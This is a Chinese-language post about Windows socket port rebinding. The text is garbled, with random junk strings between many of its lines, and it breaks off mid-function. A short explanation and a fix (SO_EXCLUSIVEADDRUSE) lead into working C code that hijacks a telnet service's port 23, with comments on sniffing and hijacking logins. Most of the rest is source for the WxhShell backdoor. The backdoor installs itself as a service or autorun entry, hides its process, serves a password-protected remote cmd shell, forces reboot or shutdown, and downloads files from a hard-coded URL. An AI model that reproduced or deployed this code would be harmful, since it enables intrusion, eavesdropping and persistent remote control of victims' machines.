在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
=&F~GCZ> s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
e}+Zj'5
]0XlI;ah saddr.sin_family = AF_INET;
MK(~ *x:*Q \| saddr.sin_addr.s_addr = htonl(INADDR_ANY);
SuXeUiK.[ c~+KrWbZ~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
xp}M5| <$u\PJF7_^ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
_#qfe SBI*[ 这意味着什么?意味着可以进行如下的攻击:
szCB}WY waU2C2!w 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
V8#NXUg<! 1obajN 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
)-X/"d [
ebk u_ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
msY6zJc` < 0YoZSNGj 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
/;kSa}"Q K^
ALE 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
e/&^~ $h m%=*3gH]& 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
a 7685Y 2;(+]Ad< 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
"n_X4e+18P <_c8F!K)T #include
5M/~|"xk #include
SsPZva #include
LmytO$?2( #include
c8T| o=`k6 DWORD WINAPI ClientThread(LPVOID lpParam);
Y::O*I2 int main()
<PiO %w{ {
"8"aYD_ WORD wVersionRequested;
AvPPsN0 DWORD ret;
.)SR3? WSADATA wsaData;
|s;'] BOOL val;
:yRv:`r3Lt SOCKADDR_IN saddr;
Ch\__t*v! SOCKADDR_IN scaddr;
QYi4A"$` int err;
oEX^U4/= SOCKET s;
(k8}9[3G SOCKET sc;
YN+vk}8 < int caddsize;
Z/dhp0k HANDLE mt;
I]DD5l}\ DWORD tid;
On54!m wVersionRequested = MAKEWORD( 2, 2 );
@mmnr?_w err = WSAStartup( wVersionRequested, &wsaData );
xK_oV+ if ( err != 0 ) {
x
FWhr#5, printf("error!WSAStartup failed!\n");
i(_A;TT6 return -1;
-i1 f
]Bd }
Inn{mmz
1 saddr.sin_family = AF_INET;
wJNm}Wf PfZS"yk //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
aZ+><1TD ""Da2Md saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
J/O{x saddr.sin_port = htons(23);
r fzNw if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
![sXR {
7YR|6{@ printf("error!socket failed!\n");
1`YU9? return -1;
JXM]tV }
,2^4"gIl val = TRUE;
JhfVm*, //SO_REUSEADDR选项就是可以实现端口重绑定的
o<G#%9j if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
0 ZM(heQ {
DU0/if9. printf("error!setsockopt failed!\n");
Pc_aEBq return -1;
p[(I5p:L }
:8!RGtn //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
.w;kB}$YC //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
NC#F:M;b //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
__2<v?\ h%krA<G9 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
IHYLM;@L {
r!+{In+Z ret=GetLastError();
Y}1c>5{bE printf("error!bind failed!\n");
gf1+yJ^d! return -1;
'gvR?[!t }
Aeb(b+= listen(s,2);
D%abBE1 while(1)
u0c}[BAF {
v6s,lC5qR caddsize = sizeof(scaddr);
L23}{P //接受连接请求
$[A\i<# sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
TK
fN`6 if(sc!=INVALID_SOCKET)
D2?H"PH {
@Fb1D"! mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
3o%vV* if(mt==NULL)
H*'1bLzq {
"FWx;65CR printf("Thread Creat Failed!\n");
V}Y*Yv break;
a:fP }
l6ym <V(1p }
m{/(
3 CloseHandle(mt);
ch8a }
A^>@6d $2 closesocket(s);
y:W6;R WSACleanup();
#GE]]7:Na return 0;
IWQ0I&tzdx }
yQiY:SH DWORD WINAPI ClientThread(LPVOID lpParam)
IT1YF.i {
x,!Dd SOCKET ss = (SOCKET)lpParam;
n^Ca?|}
, SOCKET sc;
_^r};}-} unsigned char buf[4096];
6OAs%QZ SOCKADDR_IN saddr;
d+
jX49Vt long num;
z3jkxWAZ DWORD val;
P.'.KZJ:WD DWORD ret;
STp9Gh- //如果是隐藏端口应用的话,可以在此处加一些判断
OG/b5U //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
rD].=.?1 saddr.sin_family = AF_INET;
,~1'L6Ri? saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Aqmpo3P[+ saddr.sin_port = htons(23);
Io1j%T#ZT if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
H~a
~'tm {
C#kE{Qw10r printf("error!socket failed!\n");
*an Ng<@ return -1;
dFm_"135 }
p~ b4TRvA6 val = 100;
bj
pruJ`= if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
tk&AZb,sP {
&-3e3) ret = GetLastError();
y9r4]45 return -1;
@C)s4{V }
mn7I# ~ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
gQy%T] {
m,k0 h% ret = GetLastError();
T/_u;My; return -1;
wa"0`a:`; }
.a.HaBBV if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
;W,* B.~ {
CO
wcus printf("error!socket connect failed!\n");
,/\`Rc^n closesocket(sc);
r#sg5aS7O| closesocket(ss);
^kKLi return -1;
Qr.{_M }
Z hfp>D while(1)
~}.C*;J {
\ 'm7un //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
B\J[O5}, //如果是嗅探内容的话,可以再此处进行内容分析和记录
D+]mKPB //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
kE&R;T`Gb% num = recv(ss,buf,4096,0);
T:za},- if(num>0)
\p4*Q}t send(sc,buf,num,0);
y%TqH\RKv else if(num==0)
N]P~`) break;
T3wTMbZ!VK num = recv(sc,buf,4096,0);
2(eO5.FYF if(num>0)
<Wn~s= send(ss,buf,num,0);
N[_T3( else if(num==0)
G\sx'#Whc break;
Hn/t'D3 }
TGJz[Ny closesocket(ss);
#{6VdWZ closesocket(sc);
+^AdD8U return 0 ;
K*@?BE }
S5).\1m h[ 8{>|%M o?a2wY^_ ==========================================================
3r~8:F"g ([8*Py| 下边附上一个代码,,WXhSHELL
w7MRuAJ4 $_<[kci% ==========================================================
fbApE LphCx6f,X #include "stdafx.h"
XRPJPwes] JI@iT6.%IX #include <stdio.h>
=oSD)z1c?x #include <string.h>
LQF;T7VKS) #include <windows.h>
MHpGG00, #include <winsock2.h>
lMgguu~qg #include <winsvc.h>
WL+EpNKSf #include <urlmon.h>
L` [iI y;az&T #pragma comment (lib, "Ws2_32.lib")
@WazSL;N #pragma comment (lib, "urlmon.lib")
b'O/u."O o6u^hG6~' #define MAX_USER 100 // 最大客户端连接数
94!}
Z> #define BUF_SOCK 200 // sock buffer
{L$$"r, #define KEY_BUFF 255 // 输入 buffer
#?Ix6 {R 1feVFRx' #define REBOOT 0 // 重启
4zs0+d+ #define SHUTDOWN 1 // 关机
KcT(/! ^@x&n)nzP #define DEF_PORT 5000 // 监听端口
v}!lx)# =sWK;` #define REG_LEN 16 // 注册表键长度
T$kuv`? #define SVC_LEN 80 // NT服务名长度
^qL<=UC. ^2dQVV. // 从dll定义API
D?BegF typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
_#~D{91
j: typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
|K.I%B typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
!~zn*Hm typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
+wj}x?ZeV z^wod // wxhshell配置信息
[Vbdsu9 struct WSCFG {
VK/L}^=GOO int ws_port; // 监听端口
"y8W5R5kL4 char ws_passstr[REG_LEN]; // 口令
bM'F8Fi int ws_autoins; // 安装标记, 1=yes 0=no
|g hyH char ws_regname[REG_LEN]; // 注册表键名
rX^uHq8 char ws_svcname[REG_LEN]; // 服务名
blomB2vQ char ws_svcdisp[SVC_LEN]; // 服务显示名
[#!Y7Ede char ws_svcdesc[SVC_LEN]; // 服务描述信息
z$QoMq] char ws_passmsg[SVC_LEN]; // 密码输入提示信息
e=##X}4zZ int ws_downexe; // 下载执行标记, 1=yes 0=no
{yNeZXA> char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
q"269W: char ws_filenam[SVC_LEN]; // 下载后保存的文件名
kh}h(z^ # ,H!<X;SS };
_k}Qe; #)L}{mHLM- // default Wxhshell configuration
papMC"<g$ struct WSCFG wscfg={DEF_PORT,
g\B ?
|% "xuhuanlingzhe",
$J4)z&%dr 1,
;Mmu} "Wxhshell",
X+{brvM< "Wxhshell",
_|; d
D "WxhShell Service",
IPTFx
)]G "Wrsky Windows CmdShell Service",
IT#Li "Please Input Your Password: ",
sMLXn]m 1,
;eo}/-a_Xw "
http://www.wrsky.com/wxhshell.exe",
qQfNT. "Wxhshell.exe"
N*[b26 };
%O!xrA{ \>9^(N // 消息定义模块
'Jek<
5 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
GfSD%" char *msg_ws_prompt="\n\r? for help\n\r#>";
ld"rL6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
e2fv% char *msg_ws_ext="\n\rExit.";
UFZOu%Y char *msg_ws_end="\n\rQuit.";
`
,SNq i char *msg_ws_boot="\n\rReboot...";
Q e/XEW char *msg_ws_poff="\n\rShutdown...";
(:]+IjnE char *msg_ws_down="\n\rSave to ";
:W>PKW`^ xVYa-I[Z char *msg_ws_err="\n\rErr!";
-G7)Y: char *msg_ws_ok="\n\rOK!";
;Y8>? +tt!xfy char ExeFile[MAX_PATH];
r#oJch= int nUser = 0;
z&c} HANDLE handles[MAX_USER];
ePq (.o int OsIsNt;
p7{H
"AC
Oc,HnyV+ SERVICE_STATUS serviceStatus;
]Ar,HaX- SERVICE_STATUS_HANDLE hServiceStatusHandle;
W!"QtEJ, :
Wtpg
// 函数声明
;K7kBp\d int Install(void);
=[:E int Uninstall(void);
hwvi tD!0 int DownloadFile(char *sURL, SOCKET wsh);
LN.*gGl int Boot(int flag);
] ZP!y void HideProc(void);
~K5A$s2 int GetOsVer(void);
_u;pD- int Wxhshell(SOCKET wsl);
,cS_687o void TalkWithClient(void *cs);
pUqNB_ int CmdShell(SOCKET sock);
G{,DoCM5WL int StartFromService(void);
o7Z8O,; int StartWxhshell(LPSTR lpCmdLine);
l{]KA4 6WIs*$T2* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
l1`r%9gr VOID WINAPI NTServiceHandler( DWORD fdwControl );
,B_tAg4~ UqsOG<L'6 // 数据结构和表定义
_iDVd2X"H SERVICE_TABLE_ENTRY DispatchTable[] =
T*8S7l {
WrRY3X {wscfg.ws_svcname, NTServiceMain},
y<m[9FC} {NULL, NULL}
3b#L*- };
j+dQI_']x WI*CuJU<zJ // 自我安装
Q {~$7J int Install(void)
dIh+h|: {
~H
char svExeFile[MAX_PATH];
T%FW|jKw HKEY key;
sSwY!"; strcpy(svExeFile,ExeFile);
g)ZMU^1 ~:0w% // 如果是win9x系统,修改注册表设为自启动
4{vEW( if(!OsIsNt) {
/d! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_Yp~Oj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|'P$zMAF RegCloseKey(key);
.}Xf<G& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]auqf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
7{w}0PMx RegCloseKey(key);
\/\w|j return 0;
3HuGb^SNg }
Rrl }
X6(s][Wn }
RjgJIVm( else {
%QGw`E 75>Ok / // 如果是NT以上系统,安装为系统服务
#pK"
^O*! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
0b
n%L~KU if (schSCManager!=0)
|Ox='.oIb {
v[8+fd)}S SC_HANDLE schService = CreateService
E]m?R 4 (
1iLU{m9 schSCManager,
1kUlQ*[<| wscfg.ws_svcname,
h9}*_qc&kV wscfg.ws_svcdisp,
dT?3Q;>B? SERVICE_ALL_ACCESS,
XpE847!soL SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Ks6\lpr SERVICE_AUTO_START,
aH@-"Wi SERVICE_ERROR_NORMAL,
I_->vC|> svExeFile,
B@6L<oZ NULL,
tk=S4/VWv NULL,
dkCUU NULL,
LGW_7&0<< NULL,
SZ$WC8AX NULL
idX''%" );
mb1c9 if (schService!=0)
q-_!&kDK" {
(*Q:'2e CloseServiceHandle(schService);
iI7ocyUv CloseServiceHandle(schSCManager);
ey4.Hj#T strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
[>\|QS| strcat(svExeFile,wscfg.ws_svcname);
t:vBVDkD if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
'U`;4AN RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
$of2 lA RegCloseKey(key);
kL0K[O return 0;
S7PWP<9 }
66" 6> }
c>^(=52Q CloseServiceHandle(schSCManager);
xY!ud) }
+0UBP7kn }
Rc1k_fZ} 6Xm'^T return 1;
/"u37f?[^ }
o,*D8[ j4!O,.!T // 自我卸载
ty pbwfM] int Uninstall(void)
p@4GI[ 4 {
Q1?*+] HKEY key;
Px
\cT y;8&J{dd if(!OsIsNt) {
Pn[oo_)s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
S**eI<QFSk RegDeleteValue(key,wscfg.ws_regname);
(uDd_@a9t RegCloseKey(key);
[x>Ju&))$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
xLOQu. RegDeleteValue(key,wscfg.ws_regname);
lNa+NtQu RegCloseKey(key);
15<? [`:6 return 0;
OVe0{}
j }
F!0iM)1o }
bG@2f" }
T:Klr=&V else {
LjG^c>[:m N~mr@rXC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
{o)pwM"@( if (schSCManager!=0)
Q^rR }Ws {
%60 OS3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Y6sX|~Zy if (schService!=0)
#m{*]mY@ {
!#O[RS if(DeleteService(schService)!=0) {
qclc--fsE CloseServiceHandle(schService);
Ws@'2i\; CloseServiceHandle(schSCManager);
`**{a/3 return 0;
4.jRTL5-oj }
Ls9NQy CloseServiceHandle(schService);
@3O)#r}\ }
'!Hs"{~{ CloseServiceHandle(schSCManager);
AT~, }
d)YlD]I }
j"69uj` R A:r?#7 Ma return 1;
iT4*~(p 3 }
Ytlzn% _f^KP@^j // 从指定url下载文件
?";SUku int DownloadFile(char *sURL, SOCKET wsh)
4F~^RR" {
X&qx4DL HRESULT hr;
1I9v`eT4 char seps[]= "/";
/^BC
Qaj char *token;
=
(F char *file;
-Qn7+?P char myURL[MAX_PATH];
%7)=k}4 char myFILE[MAX_PATH];
\% =\4%: 1jl!VU6 strcpy(myURL,sURL);
)O~[4xV~ token=strtok(myURL,seps);
RU:Rt' while(token!=NULL)
F`nQS&y {
Mn.,?IF`K file=token;
@dDeOnF token=strtok(NULL,seps);
~y!'\d>q< }
$>XeC}"x68 e{P v:jl GetCurrentDirectory(MAX_PATH,myFILE);
@0?!bua_| strcat(myFILE, "\\");
aKbmj strcat(myFILE, file);
f
V. c6 send(wsh,myFILE,strlen(myFILE),0);
$E\|\g send(wsh,"...",3,0);
RwWg:4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
_8VP'S= if(hr==S_OK)
F1t( P 8 return 0;
BPba3G9H else
K T} return 1;
R2~Tr$: bV_nYpo }
;Ba%aaHl W_\zx<m // 系统电源模块
_/s"VYFZ int Boot(int flag)
/~[Lr
{
S\e&xUA;| HANDLE hToken;
BX@Iq TOKEN_PRIVILEGES tkp;
,S8 K! |^pev2g if(OsIsNt) {
|"3<\$[ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
\c=I!<9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Ux[<g%F" tkp.PrivilegeCount = 1;
e3?=1ZB tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
6[> lzEZ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
uepyH if(flag==REBOOT) {
Bh>L"'.2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
n+~Dc[ return 0;
sHP-@ }
~Iu! B
Y else {
3$$E0`7. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
WSkGVQu return 0;
mPV<a&U }
'y8{,R4C }
[VCC+_ else {
rH+OXGoB if(flag==REBOOT) {
K2x[ApS# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
^.SYAwL return 0;
U@lc1# }
ie}OZM else {
^URCnJ67Se if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
]T4/dk&|o^ return 0;
qS!r<'F3dP }
[m
t.2 . }
1^p/#jt `&$8/_` return 1;
J~Xv R }
])x1MmRg\ e%4?-{( // win9x进程隐藏模块
yC,/R371k void HideProc(void)
XZ
rI w {
,g`%+s7 u ~}/Dl#9R! HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
,b+NhxdZ if ( hKernel != NULL )
VSj!Gm0LB {
i%glQT pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
x%P|T3Qy5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
B[vj X"yg FreeLibrary(hKernel);
) "#' }
D7ex{SVA) g(DD8;]w< return;
dn6B43w }
eE;tiX/ $|4C]Me ( // 获取操作系统版本
)vr@:PE int GetOsVer(void)
d1/emwH {
6 Z/`p~e OSVERSIONINFO winfo;
gwZ<$6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Otn,UoeeB GetVersionEx(&winfo);
s>rR\` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
R{hX--|j return 1;
y>{:[L9* else
ZTC>Ufu2! return 0;
z*Sm5i&)_q }
*P()&}JK ,CO2d)} // 客户端句柄模块
B(
[x8A] int Wxhshell(SOCKET wsl)
Ur j*V0^ {
k<1yv$/mW SOCKET wsh;
vNv?trw struct sockaddr_in client;
*2X6;~ DWORD myID;
8$Q`wRt(% ?M2(80 while(nUser<MAX_USER)
wak 26W>I3 {
<sdgL+&1h int nSize=sizeof(client);
^<]'?4m] wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
4Nm >5*] if(wsh==INVALID_SOCKET) return 1;
fBO/0uW MsB>3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
~ KK9aV{ if(handles[nUser]==0)
vr!J3H f closesocket(wsh);
^df wWP else
pMF
vL nUser++;
}v1wpv/b( }
U}v`~'K WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
|1tKQ0jg *[MWvs:, return 0;
|%_C$s% }
nx9PNl@?V h!"2Ux3!x // 关闭 socket
F<4rn void CloseIt(SOCKET wsh)
LS@TTiN
{
IQQv+af5 closesocket(wsh);
gv!8' DKn nUser--;
S :HOlJze ExitThread(0);
Pz]WT1J0 }
`At.$3B l![M,8 // 客户端请求句柄
MB}nn&u# void TalkWithClient(void *cs)
LPs%^*8(2 {
?y>N&\pt2 68%aDs SOCKET wsh=(SOCKET)cs;
Xz]l#w4Pp char pwd[SVC_LEN];
-oD,F
$Rb char cmd[KEY_BUFF];
{9IRW\kn char chr[1];
RK# 6JfC3X int i,j;
mY|c7}>V; I2}W /} while (nUser < MAX_USER) {
[V}vd@*k w0QtGQ| if(wscfg.ws_passstr) {
,f03TBD} if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
LUbhTc //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Khq\@`RaT //ZeroMemory(pwd,KEY_BUFF);
T2{e1 =Z7 i=0;
#%,X),%- while(i<SVC_LEN) {
uJ`N'`Z tX*@r // 设置超时
FlO?E3d fd_set FdRead;
?o<vmIge struct timeval TimeOut;
vE ]ge FD_ZERO(&FdRead);
Gz`Jzh
j FD_SET(wsh,&FdRead);
PW*Vfjf4 TimeOut.tv_sec=8;
YSjc= TimeOut.tv_usec=0;
(6%T~|a int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
b,~'wm8:A if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
XY0kd&N8 Y;af|?U*6: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pEB3qGA pwd
=chr[0]; ^&3vGu9
if(chr[0]==0xd || chr[0]==0xa) { g$(Y\`zw
pwd=0; deVd87;@7[
break; =lNW1J\SW
} ];.5*a%*
i++; $W._FAAJ#
} Rtf<UhUn
2%/F`_XbP
// 如果是非法用户,关闭 socket >N3X/8KL%
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R P{pEd
} AArLNXzVW
#rHMf%0
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~B<\#oO
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rsx6vF8]5
aru2H6
while(1) { 6Ga'_P:
97c0bgI!+
ZeroMemory(cmd,KEY_BUFF); zU5@~J
6O4*OR<&
// 自动支持客户端 telnet标准 y)r`<B
j=0; fb
f&bJT
while(j<KEY_BUFF) { ?!ap@)9
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;5X6`GlS#5
cmd[j]=chr[0]; 5%'ybh)@
if(chr[0]==0xa || chr[0]==0xd) { GzEw~JAs
cmd[j]=0; w+m7jn!$
break; rEr=Mi2
} cfmwz~S6i
j++; dcKpsX
} +kI}O*s
-O})Y>=}
// 下载文件
\^1^|a"
if(strstr(cmd,"http://")) { Y]
1U108
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1dD%a91
if(DownloadFile(cmd,wsh)) 1P]J3o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^|/<e?~I
else G-CL \G\n
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y9}qB:[bR
} WjBml'^RY
else { Q_T,=y
<B%wq>4S
switch(cmd[0]) { THl:>s
azZ|T{S
// 帮助 ImQ-kz?b
case '?': { QXI~Toddj
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #h ud_
break; r6j[C"@
} s?<FS@k
// 安装 3 EAr=E]
case 'i': { )t~ad]oM
if(Install()) *Y1s4FXu2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fe\'N4
else /{({f?k<\/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oD%n}
break; .0nT*LF
} 9u~C?w
// 卸载 [voc_o7AI
case 'r': { wgDAb#Zuk
if(Uninstall()) '"Cqq{*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uWGp>;m eO
else t<`wK8)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [1~3\-Y
break; 5I* 1CIO
} pg!mOyn
// 显示 wxhshell 所在路径 Eoz/]b
case 'p': { 2w8YtM3+"z
char svExeFile[MAX_PATH]; kFJ]F |^7
strcpy(svExeFile,"\n\r"); -X *.scw
strcat(svExeFile,ExeFile); !d0$cF):
send(wsh,svExeFile,strlen(svExeFile),0); [p\xk{7Y
break; r<]^.]3zj
} i Q3wi
// 重启 0?R$>=u
case 'b': { jKP75jm
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w8>lWgN
if(Boot(REBOOT)) 2!f'l'}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vU/sQt8
else { wV-N\5!r%H
closesocket(wsh); }+ W5Snx
ExitThread(0); >yyu:dk-;
} +vFqHfmP
break; tIA)LF
} v&sp;%I6=
// 关机 9~,!+#
case 'd': { F0m[ls$
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q9zeN:><
if(Boot(SHUTDOWN)) 9(&$Gwi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ty 6 XU!
else { I%?M9y.u6
closesocket(wsh); d6W&u~
ExitThread(0); 4pDZ +}p
} !/F-EJOH6C
break; $
z+
=lF
} ^[HX#JJ~
// 获取shell wMH13i3
case 's': { z_C7=ga<
CmdShell(wsh); 3,+UsB%
closesocket(wsh); 8BIPEY -I?
ExitThread(0); }Ny~.EV5^
break; KE)^S
[Da
} z ISy\uka
// 退出 a.<!>o<t:
case 'x': { -mZ{.\9
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u<@
55k
CloseIt(wsh); @[(%b{TE;
break; |qk%UN<
} P.|g4EdND
// 离开 KbRKPA`
case 'q': { 4.&et()}
send(wsh,msg_ws_end,strlen(msg_ws_end),0); `O=LQ m`
closesocket(wsh); <>1*1%m
WSACleanup(); FLlL0Gu
exit(1); J0Y-e39 `
break; Bq:: 5,v
} K)oN^
}
BgG+
} 6? (8KsaN
RA62Z&W3
// 提示信息 9;c]_zt
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z Q9's
} f1VA61z{)
} r(=3yd/G$
@}N;C..Y$
return; ]| =#FFz
} X"G3lG
dv\oVD
// shell模块句柄 `!T6#6h
int CmdShell(SOCKET sock) xZ"kJ'C4}
{ g>R md[!/
STARTUPINFO si; yYTiAvN
ZeroMemory(&si,sizeof(si)); T1b9Zqc)f
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ph1veD<ZZ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KK*"s^L
PROCESS_INFORMATION ProcessInfo; Ol@
YSk d
char cmdline[]="cmd"; pRdO4?l
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8eoDE. }
return 0; ?G-a:'1!6
} g'b)] Q
- r82'3]
// 自身启动模式 :U;ZBs3
int StartFromService(void) L``K. DF
{ Icf@uQ6
typedef struct BO ^T
:
{ (iiyptJ
DWORD ExitStatus; 71w$i
4
DWORD PebBaseAddress; %lPFq-
DWORD AffinityMask; ]urcA,a
DWORD BasePriority; 8YBsYKC
ULONG UniqueProcessId; 7QRtNYo#\
ULONG InheritedFromUniqueProcessId; Hw/1~O$T
